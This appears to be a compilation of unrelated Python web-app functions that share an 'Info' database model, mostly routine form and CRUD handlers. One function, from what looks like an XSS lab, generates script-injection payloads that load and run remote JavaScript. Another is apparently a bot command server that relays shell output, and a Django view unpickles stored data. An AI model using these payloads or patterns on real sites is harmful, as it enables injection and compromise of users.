def _update_or_create_info(self, word, count): info_query = Info.query.filter(Info.url == self.url, Info.word == word) if info_query.count() == 0: info = Info(self.url, word, count) db.session.add(info) else: info = info_query[0] info.count = count db.session.commit() return info
def _update_or_create_info(self, word, count): info_query = Info.query.filter(Info.url==self.url, Info.word==word) if info_query.count() == 0: info = Info(self.url, word, count) db.session.add(info) else: info = info_query[0] info.count = count db.session.commit() return info
def setUp(self): Info.query.delete() Education.query.delete() Population.query.delete() Poverty.query.delete() information = Info(county='Butler County', state='Ohio', county_code='017', state_code=39, joint_code=39017) education = Education(county_code='017', state_code=39, ed_pop=54151) population = Population(county_code='017', state_code=39, pop=384134, pop_den=821) poverty = Poverty(county_code='017', state_code=39, pov=11.7) db.session.add_all([information, education, population, poverty]) db.session.commit() self.information = information self.education = education self.population = population self.poverty = poverty
def home(): if 'email' not in session: return redirect(url_for('login')) email = session['email'] form = InfoForm() key = '' value = '' user = db_session.query(User).filter(User.email == email).first() if request.method == 'POST': if form.validate() == False: return render_template('home.html', form=form) else: key = form.key.data value = form.value.data newinfo = Info(form.key.data, form.value.data, user.uid) db_session.add(newinfo) db_session.commit() return render_template('home.html', form=form, key=key, value=value) elif request.method == 'GET': return render_template("home.html", form=form, key=key, value=value, user=user)
def set_info(cls, jid, key, value): """ 设置成员选项 Arguments: `jid` - jid `key` - 选项键 `value` - 选项值 """ m = cls.get_one(jid) try: info = session.query(Info).filter( and_(Info.key == key, Info.member == m, Info.is_global == 0)).one() info.value = value except NoResultFound: info = Info(key, value) if m.infos: m.infos.append(info) else: m.infos = [info] finally: try: session.commit() except: session.rollback() return info
def forge(tags, articles): db.drop_all() db.create_all() fake = Faker(locale="zh_CN") # tags for i in range(tags): try: tag = Tag(name=fake.word()) db.session.add(tag) except Exception: continue db.session.commit() # articles for i in range(articles): try: article = Article( title=fake.sentence(), text=fake.text(), ) article.tags.append(Tag.query.get(randint(1, Tag.query.count()))) db.session.add() except Exception: continue db.session.commit() info = Info() db.session.add(info) db.session.commit() click.echo("Done.")
def userAdd(): tmp={} if request.method == 'POST': openid=request.values.get('openid') iid=request.values.get("id") name=request.values.get("name") identity=request.values.get("identity") email=request.values.get("email") if not name or not openid or not iid or not identity or not email: tmp['status']='false' tmp['openid']=openid tmp['name']=name tmp['id']=iid tmp['identity']=identity tmp['email']=email else: info = Info(openid=openid,id=iid,name=name,identity=identity,email=email) db.session.add(info) try: db.session.commit() db.session.close() except: app.logger.error("Error in parse userAdd", exc_info=True) db.session.rollback() tmp['status']='true' else: tmp['status']='false' return json.dumps(tmp,ensure_ascii=False)
def get(self): links = ['facebook', 'twitter', 'instagram'] social_media = {} for link in Info.select(): if link.name in links: social_media[link.name] = link.value return {'data': social_media, 'message': '', 'status': 'OK'}
def information_table(): """ Extracts information regarding a specific county including its county code, name and state""" res = requests.get(COUNTIES_API) resp = res.json() length = len(resp) for y in range(1, length): county_state = resp[y][0].split(',') county_name = (county_state[0]) state_name = (county_state[1]) state_code = resp[y][1] county_code = resp[y][2] length1 = len(state_code) length2 = len(county_code) if (length1 == 1 & length2 == 1): joint_code = str(state_code) + str("0") + str(county_code) elif (length1 == 2 & length2 == 1): joint_code = str(state_code) + str("0") + str(county_code) elif (length1 == 1 & length2 == 2): joint_code = str(state_code) + str(county_code) else: joint_code = str(state_code) + str(county_code) information = Info(county=county_name, state=state_name, county_code=county_code, state_code=state_code, joint_code=joint_code) db.session.add(information) db.session.commit()
def show_bounty_list(): # programs = get_bounty_programs(1) return render_template('index.html', programs=Programs.get_by_date_limit(1), page='bountylist.html', info=Info(), current_page=1, last_page=Programs.get_last_page())
def targets_index(): if not user_auth(): return redirect(url_for('index')) # bounties_info, information_count, xsslab_info, xsslab_count, targets_info, targets_count = extract_db() return render_template('index.html', page="targets.html", info=Info(), targets=Targets.get())
def create(): form = InfoForm() if form.validate_on_submit(): create = Info(name=request.form["name"], content=request.form["content"]) db.session.add(create) db.session.commit() return redirect(url_for('dashboard')) return render_template('authentication/create.html', form=form)
def index(request): now = datetime.datetime.now() if request.method == "POST": form = InfoForm(request.POST) if form.is_valid(): info = Info(key="user-info", data=pickle.dumps(form.cleaned_data)) info.save() else: data = None try: data_row = Info.objects.get(key="user-info") data = pickle.loads(str(data_row.data)) except Info.DoesNotExist: data = {} form = InfoForm(data) return {"form": form}
def get(self): user = User.get(id=int(get_jwt_identity())) if user.account_type != 'admin': return {}, 401 links = ['facebook', 'twitter', 'instagram'] social_media = {} for link in Info.select(): if link.name in links: social_media[link.name] = link.value print link.name, link.value return {'data': social_media, 'message': '', 'status': 'OK'}
def on_message(self, bot: Bot, message: bytes): """When server receives message from bot.""" message = super().on_message(bot, message) if message is None: return event_type = message.get("event_type") if event_type == "log": self.log.emit( bot, Log(bot.id(), message.get("thread_name"), message.get("name"), message.get("level"), message.get("msg"))) elif event_type == "task": state = message.get("state") task_id = message.get("task_id") task = bot.get_task_by_id(task_id) if task: if state == "queued": task.set_queued(datetime.datetime.now()) elif state == "started": task.set_running(datetime.datetime.now()) elif state == "finished": task.set_finished(datetime.datetime.now(), message.get("result"), message.get("exit_code")) else: self.logger.error( "Unknown task state for message {}".format(message)) return self.task.emit(task) else: self.logger.error( "Could not find task with ID {} for bot {}".format( task_id, bot.id())) elif event_type == "info": event = Info(bot.id(), message.get("info"), message.get("results")) bot.on_info_received(event) self.info.emit(event) elif event_type == "shell": event = message.get("event") if event == "error": self.shell_error.emit(bot, message.get("error")) elif event == "output": self.shell_output.emit(bot, str(message.get("output"))) else: self.logger.error( "BOT-{}: Failed to find matching event type for {}".format( bot.id(), message)) self.message.emit(bot, message)
def index(request, pindex): if pindex == '': pindex = 1 list = Info.objects.all() p = Paginator(list, 2) page = p.page(int(pindex)) title = request.POST.get('title') content = request.POST.get('content') if title == None: # info1 = Info.objects.all() content = {'title0': '舒启杰的个人博客', 'info1': list, 'page': page} return render(request, 'index.html', content) else: info = Info() info.title = title info.content = content info.save() info1 = Info.objects.all() content = { 'title0': '舒启杰的个人博客', 'title': title, 'content': content, 'info1': info1, 'page': page } return render(request, 'index.html', content)
async def api_create_info(request, *, title, _type_, content): check_admin(request) if not title or not title.strip(): raise APIValueError('title', 'title cannot be empty.') if not _type_ or not _type_.strip(): raise APIValueError('_type_', '_type_ cannot be empty.') if not content or not content.strip(): raise APIValueError('content', 'content cannot be empty.') if not content[0:27] + content[-3:] == _RE_info: raise APIValueError('content', 'content format error') info = Info(title=title.strip(), _type_=_type_, content=content.strip()) await info.save() return info
def index(): """ Index page """ prop = dict() prop['skills'] = Skill.query.all() prop['projects'] = Project.query.all() prop['clients'] = Client.query.all() prop['categories'] = Category.query.all() prop['STATIC_URL'] = STATIC_URL prop['DEBUG'] = DEBUG prop['IMAGES_URL'] = IMAGES_URL prop['title'] = Info.get_param('title') prop['about'] = Info.get_param('about') prop['google_analytics'] = GOOGLE_ANALYTICS if 'username' in session: prop['username'] = escape(session['username']) return render_template('index.html', **prop)
def info(doc_name): id_row = 3 id_col = 10 from_row = 2 from_col = 6 to_row = 3 to_col = 6 sheet = doc_open(doc_name) esewa_id = str(parse(sheet, id_row, id_col)) from_date = str(parse(sheet, from_row, from_col)) to_date = str(parse(sheet, to_row, to_col)) db.session.add(Info(esewa_id, from_date, to_date)) db.session.commit()
def post(self): user = User.get(id=int(get_jwt_identity())) if user.account_type != 'admin': return {}, 401 data = parser.parse_args() facebook = Info.get(name="facebook") twitter = Info.get(name="twitter") instagram = Info.get(name="instagram") print data if data['facebook']: facebook.value = data['facebook'] facebook.save() if data['twitter']: twitter.value = data['twitter'] twitter.save() if data['instagram']: instagram.value = data['instagram'] instagram.save() return {'data': '', 'message': '', 'status': 'OK'}
def get_global_info(key, default=None): """ 获取全局选项 Arguments: `key` - 选项键 `default` - 默认值 """ try: info = session.query(Info).filter( and_(Info.key == key, Info.is_global == 1)).one() except NoResultFound: info = Info(key, default) return info
def new_album(): """ Add a new info """ form = InfoForm(request.form) if request.method == 'POST' and form.validate(): # save the info info = Info() save_changes(info, form, new=True) flash('info created successfully!') return redirect('/') return render_template('new_album.html', form=form)
def addemplogic(): try: name = request.form.get("name") if name == "": name = None salary = request.form.get("salary") age = request.form.get("age") info = Info(name=name, salary=salary, age=age) db.session.add(info) db.session.commit() url = url_for("emplist", tag="add") return redirect(url) except: return '信息添加失败'
def add_deliver(form): oid = form['oid'] order = Order.query.filter_by(oid=oid).first() if order.status == 2: return redirect(url_for("superadd_page")) addr = order.addr cid = form['cid'] car = Car.query.filter_by(cid=cid).first() mid = car.mid car.active = 1 status = form['status'] car.status = form['status'] did = str(time.time())[:9] + str(random.randint(10, 99)) new_deliver = Deliver( did=did, oid=oid, status=status, addr=addr, mid=mid, cid=cid ) order.did = did if not order.status: order.status = 1 iid = str(time.time())[:9] + str(random.randint(10, 99)) new_info = Info( iid=iid, oid=oid, toxic=28, med=90, water=80, temp=0, moist=88, store=0, ) order.iid = iid db.session.add(new_info) db.session.add(new_deliver) db.session.commit() return redirect(url_for("superadd_page"))
def get_info(cls, jid, key, default=None): """ 获取成员选项 Arguments: `jid` - jid `key` - 选项键 `default` - 默认值 """ m = cls.get_one(jid) try: info = session.query(Info).filter( and_(Info.key == key, Info.member == m, Info.is_global == 0)).one() except NoResultFound: info = Info(key, default) return info
def lab_index(): if not user_auth(): return redirect(url_for('index')) # Generating payloads payloads = [] payload_URL0 = request.url.replace('lab','js2').replace('http://','//').replace('https://','//') payloads.append('<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "'+payload_URL0+'");a.send();</script>') payloads.append('<script>with(top)document.body.appendChild(document.createElement("script")).src="'+payload_URL0+'";</script>') payloads.append("<script>eval('var a=document.createElement(\'script\');a.src=\'"+payload_URL0+"\';document.body.appendChild(a)')</script>") payload_URL1 = request.url.replace('lab','js').replace('http://','//').replace('https://','//') payloads.append('<script>fetch("'+payload_URL1+'").then(function(r){r.text().then(function(w){document.write(w)})})</script>') payloads.append('<script>var x=new XMLHttpRequest();x.open("GET","'+payload_URL1+'");x.send(); x.onreadystatechange=function(){if(this.readyState==4){document.write(x.responseText)}}</script>') return render_template('index.html', title='XSS Lab', info=Info(), page="lab.html",payloads=payloads, xsslab=Xss.get())
def extract_details_data(details): soup = BeautifulSoup(details, 'lxml') detainees_all = soup.find_all('div', class_='detaineeInfo') for detainee in detainees_all: detainee_info_table = detainee.find('table', class_='collapse centered_table shadow') detainee_trs = detainee_info_table.find_all('tr') data = {} for tr in detainee_trs: key = tr.find('td', class_='one td_left').text.lower().strip() value = tr.find('td', class_='two td_left').text.strip() data[key] = value info = Info.create(**data)
def add(): form = InfoForm() if form.validate_on_submit(): data = form.getDataDict() schoolnum = Info.query.filter_by(name=data['schoolnum']).first() print(schoolnum) if schoolnum: flash(message="student id is exists") else: info = Info() for i in data: if hasattr(info, i): setattr(info, i, data[i]) db.session.add(info) db.session.commit() flash("commit successed!") return render_template("forms.html",form=form)
def post(self): user = User.get(id=int(get_jwt_identity())) if user.account_type != 'admin': return {}, 401 data = parser.parse_args() print data info = Info.get(name=data['ads-name']) if data['file'] == '': return {'data': '', 'message': 'No photo found', 'status': 'Error'} photo = data['file'] if photo: if info.value: remove_file(info.value) print 'Updating' else: print 'Creating' info.value = get_date() + '.png' photo.save(os.path.join(UPLOAD_FOLDER, info.value)) info.save() return {'data': info.dictionary(), 'status': '', 'message': ''}
def set_global_info(key, value): """ 设置全局选项 Arguments: `key` - 选项键 `value` - 选项值 """ try: info = session.query(Info).filter( and_(Info.key == key, Info.is_global == 1)).one() info.value = value except NoResultFound: info = Info(key, value, True) try: session.add(info) except: session.rollback() finally: try: session.commit() except: session.rollback() return info
def get(self): user = User.get(id=int(get_jwt_identity())) if user.account_type != 'admin': return {}, 401 ads_left = Info.get(name="ads-left") return {'status': 'OK', 'message': '', 'data': [ads_left.dictionary()]}
def add_info(form): item = 0 oid = form['oid'] iid = str(time.time())[:9] + str(random.randint(10, 99)) score = 0 if float(form['toxic']) > 30: score += 1 item += pow(2, 5) elif float(form['toxic']) > 28: score += 0.1 item += pow(2, 5) elif float(form['toxic']) > 25: score += 0.01 item += pow(2, 5) if float(form['med']) < 90: score += 1 item += pow(2, 4) elif float(form['med']) < 93: score += 0.1 item += pow(2, 4) elif float(form['med']) < 95: score += 0.01 item += pow(2, 4) if float(form['water']) < 73: score += 1 item += pow(2, 3) elif float(form['water']) < 75: score += 0.1 item += pow(2, 3) elif float(form['water']) < 80: score += 0.01 item += pow(2, 3) if float(form['temp']) > 4 or float(form['temp']) < -0.5: score += 1 item += pow(2, 2) elif float(form['temp']) > 3.5 or float(form['temp']) < 0: score += 0.1 item += pow(2, 2) elif float(form['temp']) != 1: score += 0.01 item += pow(2, 2) if float(form['moist']) > 95 or float(form['moist']) < 85: score += 1 item += pow(2, 1) elif float(form['moist']) > 93 or float(form['moist']) < 87: score += 0.1 item += pow(2, 1) elif float(form['moist']) != 90: score += 0.01 item += pow(2, 1) if int(form['store']) > 14: score += 1 item += pow(2, 0) elif int(form['store']) > 10: score += 0.1 item += pow(2, 0) elif int(form['store']) > 7: score += 0.01 item += pow(2, 0) level = 0 if score > 2: level = 4 elif score > 0.2: level = 3 elif score > 0.02: level = 2 else: level = 1 new_info = Info( toxic=form['toxic'], med=form['med'], water=form['water'], moist=form['moist'], store=form['store'], temp=form['temp'], iid=iid, level=level, oid=oid, ) order = Order.query.filter_by(oid=oid).first() order.iid = iid db.session.add(new_info) db.session.commit() if level != 0: aids = db.session.query(Admin.aid).all() for i in aids: new_alert = Alert( msgfor=2, toid=str(i[0]), msg=ALERT_MSG[level-1], title=ALERT_TITLE[level-1], oid=oid, item=item, valid=1, level=level-1, iid=iid, ) order.alevel = level-1 db.session.add(new_alert) db.session.commit() return redirect(url_for("superadd_page"))
def get(self): ad = Info.get(name="ads-left") return {'data': ad.dictionary(), 'status': 'OK', 'message': ''}